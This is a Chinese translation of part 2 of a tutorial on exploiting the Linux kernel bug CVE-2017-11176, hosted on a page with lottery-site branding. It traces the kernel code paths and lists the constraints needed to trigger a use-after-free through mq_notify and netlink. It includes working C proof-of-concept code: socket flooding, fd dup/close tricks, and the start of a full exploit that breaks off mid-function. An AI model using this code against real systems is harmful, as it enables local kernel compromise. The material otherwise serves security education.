彩票CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)_HUC惠仲娱乐

彩票

本文翻译自:CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 2/4)

译者注:前一部分链接

使第二次循环中的fget()返回NULL

到目前为止,在用户态下满足了触发漏洞的三个条件之一。TODO:

  • 使netlink_attachskb()返回1
  • [DONE]exp线程解除阻塞
  • 使第二次fget()调用返回NULL

在本节中,将尝试使第二次fget()调用返回NULL。这会使得在第二个循环期间跳到“退出路径”:

retry:             filp = fget(notification.sigev_signo);             if (!filp) {                 ret = -EBADF;                 goto out;           // <--------- on the second loop only!             }

为什么fget()会返回NULL?

通过System Tap,可以看到重置FDT中的对应文件描述符会使得fget()返回NULL:

struct files_struct *files = current->files; struct fdtable *fdt = files_fdtable(files); fdt->fd[3] = NULL; // makes the second call to fget() fails

fget()的作用:

  • 检索当前进程的“struct files_struct”
  • 在files_struct中检索“struct fdtable”
  • 获得“fdt->fd[fd]”的值(一个“struct file”指针)
  • “struct file”的引用计数(如果不为NULL)加1
  • 返回“struct file”指针

简而言之,如果特定文件描述符在FDT中为NULL,则fget()返回NULL。

NOTE:如果不记得所有这些结构之间的关系,请参考Core Concept#1

重置文件描述符表中的条目

在stap脚本中,重置了文件描述符“3”的fdt条目(参见上一节)。怎么在用户态下做到这点?如何将FDT条目设置为NULL?答案:close()系统调用。

这是一个简化版本(没有锁也没有出错处理):

// [fs/open.c]      SYSCALL_DEFINE1(close, unsigned int, fd)     {       struct file * filp;       struct files_struct *files = current->files;       struct fdtable *fdt;       int retval;  [0]   fdt = files_fdtable(files); [1]   filp = fdt->fd[fd]; [2]   rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL [3]   retval = filp_close(filp, files);       return retval;     }

close()系统调用:

  • [0] - 检索当前进程的FDT
  • [1] - 检索FDT中与fd关联的struct file指针
  • [2] - 将FDT对应条目置为NULL(无条件)
  • [3] - 文件对象删除引用(即调用fput())

我们有了一个简单的方法(无条件地)重置FDT条目。然而,它带来了另一个问题......

先有蛋还是先有鸡问题

unblock_thread线程调用setsockopt()之前调用close()非常诱人。问题是setsockopt()需要一个有效的文件描述符!已经通过system tap尝试过。在用户态下同样遇到了这个问题......

在调用setsocktopt()之后再调用close()会怎么样?如果我们在调用setsockopt()(解除主线程阻塞)之后再调用close(),窗口期就会很小

幸运的是有一种方法!在Core Concept#1中,已经说过文件描述符表不是1:1映射。几个文件描述符可能指向同一个文件对象。如何使两个文件描述符指向相同的文件对象?dup()系统调用

// [fs/fcntl.c]      SYSCALL_DEFINE1(dup, unsigned int, fildes)     {       int ret = -EBADF; [0]   struct file *file = fget(fildes);        if (file) { [1]     ret = get_unused_fd();         if (ret >= 0) [2]       fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file         else           fput(file);       } [3]   return ret;     }

dup()完全符合要求:

  • [0] - 根据文件描述符获取相应的struct file指针。
  • [1] - 选择下一个“未使用/可用”的文件描述符。
  • [2] - 设置fdt中新文件描述符([1]处获得)对应条目为相应struct file指针([0]处获得)。
  • [3] - 返回新的fd。

最后,我们将有两个文件描述符指向相同文件对象:

  • sock_fd:在mq_notify()和close()使用
  • unblock_fd:在setsockopt()中使用

更新exp

更新exp(添加close/dup调用并修改setsockopt()参数):

struct unblock_thread_arg {   int sock_fd;   int unblock_fd;     // <----- used by the "unblock_thread"   bool is_ready; };  static void* unblock_thread(void *arg) {   // ... cut ...    sleep(5); // gives some time for the main thread to block    printf("[unblock] closing %d fd\n", uta->sock_fd);   _close(uta->sock_fd);                               // <----- close() before setsockopt()    printf("[unblock] unblocking now\n");   if (_setsockopt(uta->unblock_fd, SOL_NETLINK,       // <----- use "unblock_fd" now!                   NETLINK_NO_ENOBUFS, &val, sizeof(val)))     perror("setsockopt");   return NULL; }  int main(void) {   // ... cut ...    if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0)         // <----- dup() after socket()    {     perror("dup");     goto fail;   }   printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);    // ... cut ... }

删除stap脚本中重置FDT条目的行,然后运行:

-={ CVE-2017-11176 Exploit }=- [main] netlink socket created = 3 [main] netlink fd duplicated = 4 [main] creating unblock thread... [main] unblocking thread has been created! [main] get ready to block [unblock] closing 3 fd [unblock] unblocking now mq_notify: Bad file descriptor exploit failed!  <<< KERNEL CRASH >>>

ALERT COBRA:第一次内核崩溃!释放后重用

崩溃的原因将在第3部分中进行研究。

长话短说:由于调用了dup(),调用close()不会真的释放netlink_sock对象(只是减少了一次引用)。netlink_detachskb()实际上删除netlink_sock的最后一个引用(并释放它)。最后,在程序退出期间触发释放后重用,退出时关闭“unblock_fd”文件描述符。

“retry”路径

这节会展开部分内核代码。现在距离完整的PoC只有一步之遥。

TODO:

  • 使netlink_attachskb()返回1
  • [DONE]exp线程解除阻塞
  • [DONE]使第二次fget()调用返回NULL

为了执行到retry路径,需要netlink_attachskb()返回1,必须要满足第一个条件并解除线程阻塞(已经做到了):

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,               long *timeo, struct sock *ssk)     {       struct netlink_sock *nlk;       nlk = nlk_sk(sk);  [0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))       {         // ... cut ...         return 1;       }       // normal path       return 0;     }

如果满足以下条件之一,则条件[0]为真::

  • sk_rmem_alloc大于sk_rcvbuf
  • nlk->state最低有效位不为0。

目前通过stap脚本设置“nlk->state”的最低有效位:

struct sock *sk = (void*) STAP_ARG_arg_sock; struct netlink_sock *nlk = (void*) sk; nlk->state |= 1;

但是将套接字状态标记为“拥塞”(最低有效位)比较麻烦,只有内核态下内存分配失败才会设置这一位。这会使系统进入不稳定状态。

相反,将尝试增加sk_rmem_alloc的值,该值表示sk的接收缓冲区“当前”大小。

填充接收缓冲区

在本节中,将尝试满足第一个条件,即“接收缓冲区已满?”:

atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf

struct sock(在netlink_sock中)具有以下字段:

  • sk_rcvbuf:接收缓冲区“理论上”最大大小(以字节为单位)
  • sk_rmem_alloc:接收缓冲区的“当前”大小(以字节为单位)
  • sk_receive_queue:“skb”双链表(网络缓冲区)

NOTE:sk_rcvbuf是“理论上的”,因为接收缓冲区的“当前”大小实际上可以大于它。

在使用stap(第1部分)输出netlink sock结构时,有:

- sk->sk_rmem_alloc = 0 - sk->sk_rcvbuf = 133120

有两种方法使这个条件成立:

  • 将sk_rcvbuf减小到0以下(sk_rcvbuf是整型(在我们使用的内核版本中))
  • 将sk_rmem_alloc增加到133120字节大小以上

减少sk_rcvbuf

sk_rcvbuf在所有sock对象中通用,可以通过sock_setsockopt修改(使用SOL_SOCKET参数):

// from [net/core/sock.c]      int sock_setsockopt(struct socket *sock, int level, int optname,             char __user *optval, unsigned int optlen)     {       struct sock *sk = sock->sk;       int val;        // ... cut  ...        case SO_RCVBUF: [0]     if (val > sysctl_rmem_max)           val = sysctl_rmem_max;     set_rcvbuf:         sk->sk_userlocks |= SOCK_RCVBUF_LOCK; [1]     if ((val * 2) < SOCK_MIN_RCVBUF)           sk->sk_rcvbuf = SOCK_MIN_RCVBUF;                   else             sk->sk_rcvbuf = val * 2;                          break;        // ... cut (other options handling) ...     }

当看到这种类型的代码时,要注意每个表达式的类型

NOTE:“有符号/无符号类型混用”可能存在许多漏洞,将较大的类型(u64)转换成较小的类型(u32)时也是如此。这通常会导致整型溢出或类型转换问题。

在我们使用的内核中有:

  • sk_rcvbuf:int
  • val:int
  • sysctl_rmem_max:__u32
  • SOCK_MIN_RCVBUF:由于“sizeof()”而“转变”为size_t

SOCK_MIN_RCVBUF定义:

#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))

通常有符号整型与无符号整型混合使用时,有符号整型会转换成无符号整型。

假设“val”为负数。在[0]处,会被转换为无符号类型(因为sysctl_rmem_max类型为“__u32”)。val会被置为sysctl_rmem_max(负数转换成无符号数会很大)。

即使“val”没有被转换为“__u32”,也不会满足第二个条件[1]。最后被限制在[SOCK_MIN_RCVBUF,sysctl_rmem_max]之间(不是负数)。所以只能修改sk_rmem_alloc而不是sk_rcvbuf字段。

回到“正常”路径

现在是时候回到自开始以来一直忽略的东西:mq_notify()“正常”路径。从概念上讲,当套接字接收缓冲区已满时执行“retry路径”,那么正常情况下可能会填充接收缓冲区

netlink_attachskb():

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,               long *timeo, struct sock *ssk)     {       struct netlink_sock *nlk;       nlk = nlk_sk(sk);       if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {           // ... cut (retry path) ...       }       skb_set_owner_r(skb, sk);       // <----- what about this ?       return 0;     }

因此,正常情况下会调用skb_set_owner_r():

static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)     {       WARN_ON(skb->destructor);       __skb_orphan(skb);       skb->sk = sk;       skb->destructor = sock_rfree; [0]   atomic_add(skb->truesize, &sk->sk_rmem_alloc);  // sk->sk_rmem_alloc += skb->truesize       sk_mem_charge(sk, skb->truesize);     }

skb_set_owner_r()中会使sk_rmem_alloc增加skb->truesize。那么可以多次调用mq_notify()直到接收缓冲区已满?不幸的是不能这样做。

在mq_notify()的正常执行过程中,会一开始就创建一个skb(称为“cookie”),并通过netlink_attachskb()将其附加到netlink_sock,已经介绍过这部分内容。然后netlink_sock和skb都关联到属于消息队列的“mqueue_inode_info”(参考mq_notify的正常路径)。

问题是一次只能有一个(cookie)“skb”与mqueue_inode_info相关联。第二次调用mq_notify()将会失败并返回“-EBUSY”错误。只能增加sk_rmem_alloc一次(对于给定的消息队列),并不足以(只有32个字节)使它大于sk_rcvbuf。

实际上可能可以创建多个消息队列,有多个mqueue_inode_info对象并多次调用mq_notify()。或者也可以使用mq_timedsend()系统调用将消息推送到队列中。只是不想在这里研究另一个子系统(mqueue),并且坚持使用“通用的”内核路径(sendmsg),所以我们不会这样做。

可以通过skb_set_owner_r()增加sk_rmem_alloc。

netlink_unicast()

netlink_attachskb()可能会通过调用skb_set_owner_r()增加sk_rmem_alloc。netlink_attachskb()函数可以由netlink_unicast()调用。让我们做一个自底向上的分析来检查如何系统调用到netlink_unicast():

- skb_set_owner_r - netlink_attachskb - netlink_unicast    - netlink_sendmsg   // there is a lots of "other" callers of netlink_unicast - sock->ops->sendmsg()           - __sock_sendmsg_nosec() - __sock_sendmsg() - sock_sendmsg() - __sys_sendmsg() - SYSCALL_DEFINE3(sendmsg, ...)

因为netlink_sendmsg()是netlink套接字的proto_ops(核心概念#1),所以可以通过sendmsg()调用它。

从sendmsg()系统调用到sendmsg的proto_ops(sock->ops->sendmsg())的通用代码路径将在第3部分中详细介绍。现在先假设可以很轻易调用netlink_sendmsg()。

从netlink_sendmsg()到netlink_unicast()

sendmsg()系统调用声明:

size_t  sendmsg (int  sockfd , const  struct  msghdr  * msg , int  flags );

在msg和flags参数中设置对应值从而调用netlink_unicast();

struct msghdr {      void         *msg_name;       /* optional address */      socklen_t     msg_namelen;    /* size of address */      struct iovec *msg_iov;        /* scatter/gather array */      size_t        msg_iovlen;     /* # elements in msg_iov */      void         *msg_control;    /* ancillary data, see below */      size_t        msg_controllen; /* ancillary data buffer len */      int           msg_flags;      /* flags on received message */   };    struct iovec   {     void __user     *iov_base;     __kernel_size_t iov_len;   };

在本节中,将从代码推断参数值,并逐步建立我们的“约束”列表。这样做会使内核执行我们想要的路径。这就是内核漏洞利用的本质。在函数的末尾处才会调用netlink_unicast()。需要满足所有条件......

static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,              struct msghdr *msg, size_t len)     {       struct sock_iocb *siocb = kiocb_to_siocb(kiocb);       struct sock *sk = sock->sk;       struct netlink_sock *nlk = nlk_sk(sk);       struct sockaddr_nl *addr = msg->msg_name;       u32 dst_pid;       u32 dst_group;       struct sk_buff *skb;       int err;       struct scm_cookie scm;       u32 netlink_skb_flags = 0;  [0]   if (msg->msg_flags&MSG_OOB)         return -EOPNOTSUPP;  [1]   if (NULL == siocb->scm)         siocb->scm = &scm;        err = scm_send(sock, msg, siocb->scm, true); [2]   if (err < 0)         return err;        // ... cut ...        err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);   // <---- our target      out:       scm_destroy(siocb->scm);       return err;     }

不设置MSG_OOB标志以满足[0]处条件。这是第一个约束:msg->msg_flags没有设置MSG_OOB

[1]处的条件为真,因为在__sock_sendmsg_nosec()中会将“siocb->scm”置为NULL。最后,scm_send()返回值非负[2],代码:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,                    struct scm_cookie *scm, bool forcecreds) {     memset(scm, 0, sizeof(*scm));     if (forcecreds)         scm_set_cred(scm, task_tgid(current), current_cred());     unix_get_peersec_dgram(sock, scm);     if (msg->msg_controllen <= 0)     // <----- this need to be true...         return 0;                     // <----- ...so we hit this and skip __scm_send()     return __scm_send(sock, msg, scm); }

第二个约束:msg->msg_controllen等于零(类型为size_t,没有负值)。

继续:

// ... netlink_sendmsg() continuation ...  [0]   if (msg->msg_namelen) {         err = -EINVAL; [1]     if (addr->nl_family != AF_NETLINK)           goto out; [2a]    dst_pid = addr->nl_pid; [2b]    dst_group = ffs(addr->nl_groups);         err =  -EPERM; [3]     if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))           goto out;         netlink_skb_flags |= NETLINK_SKB_DST;       } else {         dst_pid = nlk->dst_pid;         dst_group = nlk->dst_group;       }        // ... cut ...

这个有点棘手。这块代码取决于“sender”套接字是否已连接到目标(receiver)套接字。如果已连接,则“nlk->dst_pid”和“nlk->dst_group”都已被赋值。但是这里不想连接到receiver套接字(有副作用),所以会采取第一个分支。msg->msg_namelen不为零[0]。

看一下函数的开头部分,“addr”是另一个可控的参数:msg->msg_name。通过[2a]和[2b],可以选择任意的“dst_group”和“dst_pid”。控制这些可以做到:

  • dst_group == 0:发送单播消息而不是广播(参考man 7 netlink)
  • dst_pid!= 0:与我们选择的receiver套接字(用户态)通信。0代表“与内核通信”(阅读手册!)。

将其转换成约束条件(msg_name被转换为sockaddr_nl类型):

msg->msg_name->dst_group 等于零
msg->msg_name->dst_pid 等于“目标”套接字的nl_pid

这里还有一个隐含的条件是netlink_allowed(sock,NL_NONROOT_SEND) [3]返回非零值:

static inline int netlink_allowed(const struct socket *sock, unsigned int flag) {   return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN)); }

因为运行exp的用户是非特权用户,所以没有CAP_NET_ADMIN。唯一设置了“NL_NONROOT_SEND”标志的“netlink协议”是NETLINK_USERSOCK所以“sender”套接字必须具有NETLINK_USERSOCK协议

另外[1],需要使msg->msg_name->nl_family等于AF_NETLINK

继续:

[0]   if (!nlk->pid) { [1]     err = netlink_autobind(sock);         if (err)           goto out;       }

无法控制[0]处的条件,因为在套接字创建期间,套接字的pid会被设置为零(整个结构体由sk_alloc()清零)。后面会讨论这点,现在先假设netlink_autobind() [1]会为sender套接字找到“可用”的pid并且不会出错。在第二次调用sendmsg()时将不满足条件[0],此时已经设置“nlk->pid”。继续:

err = -EMSGSIZE; [0]   if (len > sk->sk_sndbuf - 32)         goto out;       err = -ENOBUFS;       skb = alloc_skb(len, GFP_KERNEL); [1]   if (skb == NULL)         goto out;

“len”在__sys_sendmsg()中计算。这是“所有iovec长度的总和”。因此,所有iovecs的长度总和必须小于sk->sk_sndbuf减去32[0]。为了简单起见,将使用单个iovec:

  • msg->msg_iovlen等于1 //单个iovec
  • msg->msg_iov->iov_len小于等于sk->sk_sndbuf减去32
  • msg->msg_iov->iov_base必须是用户空间可读 //否则__sys_sendmsg()将出错

最后一个约束意味着msg->msg_iov也必须指向用户空间可读区域(否则__sys_sendmsg()将出错)。

NOTE:“sk_sndbuf”等同于“sk_rcvbuf”但指的是发送缓冲区。可以通过sock_getsockopt()“SO_SNDBUF”参数获得它的值。

[1]处的条件不应该为真。如果为真,则意味着内核当前耗尽了内存并且处于对exp来说很糟的状态。不应该继续执行exp,否则很可能会失败,更糟的是会内核崩溃!

可以忽略下一个代码块(不需要满足任何条件),“siocb->scm”结构体由scm_send()初始化:

NETLINK_CB(skb).pid   = nlk->pid;       NETLINK_CB(skb).dst_group = dst_group;       memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));       NETLINK_CB(skb).flags = netlink_skb_flags;

继续:

err = -EFAULT; [0]   if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {         kfree_skb(skb);         goto out;       }

[0]处的检查不会有问题,已经提供可读的iovec,否则之前的__sys_sendmsg()就已经出错(前一个约束)。

[0]   err = security_netlink_send(sk, skb);       if (err) {         kfree_skb(skb);         goto out;       }

Linux安全模块(LSM,例如SELinux)检查。如果无法满足此条件,那就需要找另一条路径来执行netlink_unicast()或另一种方法来增加“sk_rmem_alloc”(提示:也许可以尝试netlink_dump())。假设在目标机器上满足此条件。

最后:

[0]   if (dst_group) {         atomic_inc(&skb->users);         netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);       } [1]   err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

还记得之前将“dst_group”赋值为"msg->msg_name->dst_group"吧。由于它为零,将跳过[0]处代码... 最后调用netlink_unicast()

总结一下从netlink_sendmsg()执行到netlink_unicast()所要满足的条件:

  • msg->msg_flags没有设置MSG_OOB
  • msg->msg_controllen等于0
  • msg->msg_namelen不为0
  • msg->msg_name->nl_family等于AF_NETLINK
  • msg->msg_name->nl_groups等于0
  • msg->msg_name->nl_pid不为0,指向receiver套接字
  • sender套接字必须使用NETLINK_USERSOCK协议
  • msg->msg_iovlen等于1
  • msg->msg_iov是一个可读的用户态地址
  • msg->msg_iov->iov_len小于等于sk_sndbuf减32
  • msg->msg_iov->iov_base是一个可读的用户态地址

这是内核漏洞利用的部分过程。分析每个检查,强制执行特定的内核路径,定制系统调用参数等。实际上,建立此约束条件列表的时间并不长。有些路径比这更复杂。

继续前进,下一步是netlink_attachskb()。

从netlink_unicast()到netlink_attachskb()

这个应该比前一个更容易。通过以下参数调用netlink_unicast():

netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
  • sk是sender套接字
  • skb是套接字缓冲区,由msg->msg_iov->iov_base指向的数据填充,大小为msg->msg_iov->iov_len
  • dst_pid是可控的pid(msg->msg_name->nl_pid)指向receiver套接字
  • msg->msg_flasg&MSG_DONTWAIT表示netlink_unicast()是否应阻塞

WARNING:在netlink_unicast()代码中,“ssk”是sender套接字,“sk”是receiver套接字。

netlink_unicast()代码:

int netlink_unicast(struct sock *ssk, struct sk_buff *skb,             u32 pid, int nonblock)     {       struct sock *sk;       int err;       long timeo;        skb = netlink_trim(skb, gfp_any());   // <----- ignore this  [0]   timeo = sock_sndtimeo(ssk, nonblock);     retry: [1]   sk = netlink_getsockbypid(ssk, pid);       if (IS_ERR(sk)) {         kfree_skb(skb);         return PTR_ERR(sk);       } [2]   if (netlink_is_kernel(sk))         return netlink_unicast_kernel(sk, skb, ssk);  [3]   if (sk_filter(sk, skb)) {         err = skb->len;         kfree_skb(skb);         sock_put(sk);         return err;       }  [4]   err = netlink_attachskb(sk, skb, &timeo, ssk);       if (err == 1)         goto retry;       if (err)         return err;  [5]   return netlink_sendskb(sk, skb);     }

在[0]处,sock_sndtimeo()根据nonblock参数设置timeo(超时)的值。由于我们不想阻塞(nonblock>0),timeo将为零。msg->msg_flags必须设置MSG_DONTWAIT

在[1]处,根据pid获得receiver套接字“sk”。在下一节中会有说明,在通过netlink_getsockbypid()获得receiver套接字之前需要先将其绑定

在[2]处,receiver套接字不能是“内核”套接字。如果一个netlink套接字 设置了NETLINK_KERNEL_SOCKET标志,则它被标记为“内核”套接字,这些套接字通过netlink_kernel_create()函数创建。不幸的是,NETLINK_GENERIC协议就是其中之一。所以需要将receiver套接字协议更改为NETLINK_USERSOCK

在[3]处,BPF套接字过滤器可能正在生效。但如果没有为receiver套接字创建任何BPF过滤器,则可以不用管它。

在[4]处调用了netlink_attachskb()!在netlink_attachskb()中,确保执行下列路径之一:

  • receiver缓冲区未满:调用skb_set_owner_r() -> 增加sk_rmem_alloc
  • receiver缓冲区已满:netlink_attachskb()不阻塞直接返回-EAGAIN

可以知道何时接收缓冲区已满(只需要检查sendmsg()的错误代码)

最后,在[5]处调用netlink_sendskb()将skb添加到接收缓冲区列表中,并删除通过netlink_getsockbypid()获取的(receiver套接字)引用。好极了!:-)

更新约束列表:

  • msg->msg_flags设置MSG_DONTWAIT
  • receiver套接字必须在调用sendmsg()之前绑定
  • receiver套接字必须使用NETLINK_USERSOCK协议
  • 不要为receiver套接字定义任何BPF过滤器

现在非常接近完整的PoC。只要绑定receiver套接字就好了。

绑定receiver套接字

与任何套接字通信一样,两个套接字可以使用“地址”进行通信。由于正在使用netlink套接字,在这里将使用“struct sockaddr_nl”类型:

struct sockaddr_nl {    sa_family_t     nl_family;  /* AF_NETLINK */    unsigned short  nl_pad;     /* Zero. */    pid_t           nl_pid;     /* Port ID. */    __u32           nl_groups;  /* Multicast groups mask. */ };

由于不想成为“广播组”的一部分,因此nl_groups必须为0。这里唯一重要的字段是“nl_pid”。

基本上,netlink_bind()有两条路径:

  • nl_pid不为0:调用netlink_insert()
  • nl_pid为0:调用netlink_autobind(),后者又调用netlink_insert()

如果使用已分配的pid调用netlink_insert()将产生“-EADDRINUSE”错误。否则会在nl_pid和netlink套接字 之间创建映射关系。即现在可以通过netlink_getsockbypid()获得netlink套接字。此外,netlink_insert()会将套接字引用计数加1。在最后的PoC中这一点很重要。

NOTE第4部分将详细介绍“pid:netlink_sock”映射存储方式。

虽然调用netlink_autobind()更自然一点,但我们实际上是通过不断尝试pid值(autobind的作用,找当前未使用的pid值)来模拟netlink_autobind功能(不知道为什么这样做...主要是懒...),直到bind()成功。这样做允许我们直接获取目标nl_pid值而不调用getsockname(),并且(可能)简化调试(不确定:-))。

译者注:本来应该nl_pid为0,然后调用bind的,但原文作者直接设置nl_pid为118然后不断递增尝试bind(),直到成功。netlink_autobind应该会获取当前未使用的pid值。

整合

确定所有执行路径花了很长时间,但现在是时候在exp中实现这一部分并最终达成目标:netlink_attachskb()返回1

步骤:

  • 创建两个AF_NETLINK套接字使用NETLINK_USERSOCK协议
  • 绑定目标(receiver)套接字(最后它的接收缓冲区必须已满)
  • [可选]尝试减少目标套接字的接收缓冲区(减少调用sendmsg())
  • sender套接字通过sendmsg()像目标套接字发送大量数据,直到返回EAGAIN错误
  • 关闭sender套接字(不再需要)

可以独立运行下面代码以验证一切正常:

static int prepare_blocking_socket(void) {   int send_fd;   int recv_fd;   char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()   int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF    struct sockaddr_nl addr = {     .nl_family = AF_NETLINK,     .nl_pad = 0,     .nl_pid = 118, // must different than zero     .nl_groups = 0 // no groups   };    struct iovec iov = {     .iov_base = buf,     .iov_len = sizeof(buf)   };    struct msghdr mhdr = {     .msg_name = &addr,     .msg_namelen = sizeof(addr),     .msg_iov = &iov,     .msg_iovlen = 1,     .msg_control = NULL,     .msg_controllen = 0,     .msg_flags = 0,    };    printf("[ ] preparing blocking netlink socket\n");    if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||       (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)   {     perror("socket");     goto fail;   }   printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);    // simulate netlink_autobind()   while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))   {     if (errno != EADDRINUSE)     {       perror("[-] bind");       goto fail;     }     addr.nl_pid++;   }    printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);    if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))     perror("[-] setsockopt"); // no worry if it fails, it is just an optim.   else     printf("[+] receive buffer reduced\n");    printf("[ ] flooding socket\n");   while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)  // <----- don't forget MSG_DONTWAIT     ;   if (errno != EAGAIN)  // <----- did we failed because the receive buffer is full ?   {     perror("[-] sendmsg");     goto fail;   }   printf("[+] flood completed\n");    _close(send_fd);    printf("[+] blocking socket ready\n");   return recv_fd;  fail:   printf("[-] failed to prepare block socket\n");   return -1; }

通过system tap检查结果。从现在开始,System Tap仅用于观察内核,不再修改任何内容。请记得删除将套接字标记为阻塞的行,然后运行:

(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT) (2768-2768) [uland] ==>> copy_from_user () (2768-2768) [uland] ==>> copy_from_user () (2768-2768) [uland] ==>> copy_from_user () (2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800) (socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1 (2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0) (2768-2768) [netlink] <<== netlink_autobind = 0 (2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?) (2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800) (2768-2768) [skb] <<== skb_put = ffff880006150000 (2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800) (2768-2768) [uland] ==>> copy_from_user () (2768-2768) [iovec] <<== memcpy_fromiovec = 0 (2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40) (2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?) (2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840) (2768-2768) [sk] <<== sk_filter = 0 (2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00) -={ dump_netlink_sock: 0xffff88002f89ac00 }=- - sk = 0xffff88002f89ac00 - sk->sk_rmem_alloc = 0                               // <----- - sk->sk_rcvbuf = 2312                                // <----- - sk->sk_refcnt = 3 - nlk->state = 0 - sk->sk_flags = 100 -={ dump_netlink_sock: END}=- (2768-2768) [netlink] <<== netlink_attachskb = 0 -={ dump_netlink_sock: 0xffff88002f89ac00 }=- - sk = 0xffff88002f89ac00 - sk->sk_rmem_alloc = 10504                           // <----- - sk->sk_rcvbuf = 2312                                // <----- - sk->sk_refcnt = 3 - nlk->state = 0 - sk->sk_flags = 100 -={ dump_netlink_sock: END}=- (2768-2768) [netlink] <<== netlink_unicast = 2800 (2768-2768) [netlink] <<== netlink_sendmsg = 2800 (2768-2768) [SYSCALL] <<== sendmsg= 10240

现在满足了“接收缓冲区已满”的条件(sk_rmem_alloc>sk_rcvbuf)。下一次调用mq_attachskb()将返回1!

更新TODO列表:

  • [DONE]使netlink_attachskb()返回1
  • [DONE]exp线程解除阻塞
  • [DONE]使第二次fget()调用返回NULL

全部做完了?还差一点...

最终PoC

在最后三节中,编写用户态代码实现了触发漏洞所需的每个条件。在展示最终的PoC之前,还有一件事要做。

netlink_insert()会增加套接字引用计数,所以在进入mq_notify()之前,套接字引用计数为2(而不是1),所以需要触发漏洞两次

在触发漏洞之前,通过dup()产生新的fd来解锁主线程。需要dup()两次(因为旧的会被关闭),所以最后可以保持一个fd解除阻塞,另一个fd来触发漏洞。

"Show me the code!"

最终PoC(不要运行system tap):

/*  * CVE-2017-11176 Proof-of-concept code by LEXFO.  *  * Compile with:  *  *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit  */  #define _GNU_SOURCE #include <asm/types.h> #include <mqueue.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <linux/netlink.h> #include <pthread.h> #include <errno.h> #include <stdbool.h>  // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================  #define NOTIFY_COOKIE_LEN (32) #define SOL_NETLINK (270) // from [include/linux/socket.h]  // ----------------------------------------------------------------------------  // avoid library wrappers #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp) #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol) #define _setsockopt(sockfd, level, optname, optval, optlen) \   syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen) #define _getsockopt(sockfd, level, optname, optval, optlen) \   syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen) #define _dup(oldfd) syscall(__NR_dup, oldfd) #define _close(fd) syscall(__NR_close, fd) #define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags) #define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)  // ----------------------------------------------------------------------------  #define PRESS_KEY() \   do { printf("[ ] press key to continue...\n"); getchar(); } while(0)  // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================  struct unblock_thread_arg {   int sock_fd;   int unblock_fd;   bool is_ready; // we can use pthread barrier instead };  // ----------------------------------------------------------------------------  static void* unblock_thread(void *arg) {   struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;   int val = 3535; // need to be different than zero    // notify the main thread that the unblock thread has been created. It *must*   // directly call mq_notify().   uta->is_ready = true;     sleep(5); // gives some time for the main thread to block    printf("[ ][unblock] closing %d fd\n", uta->sock_fd);   _close(uta->sock_fd);    printf("[ ][unblock] unblocking now\n");   if 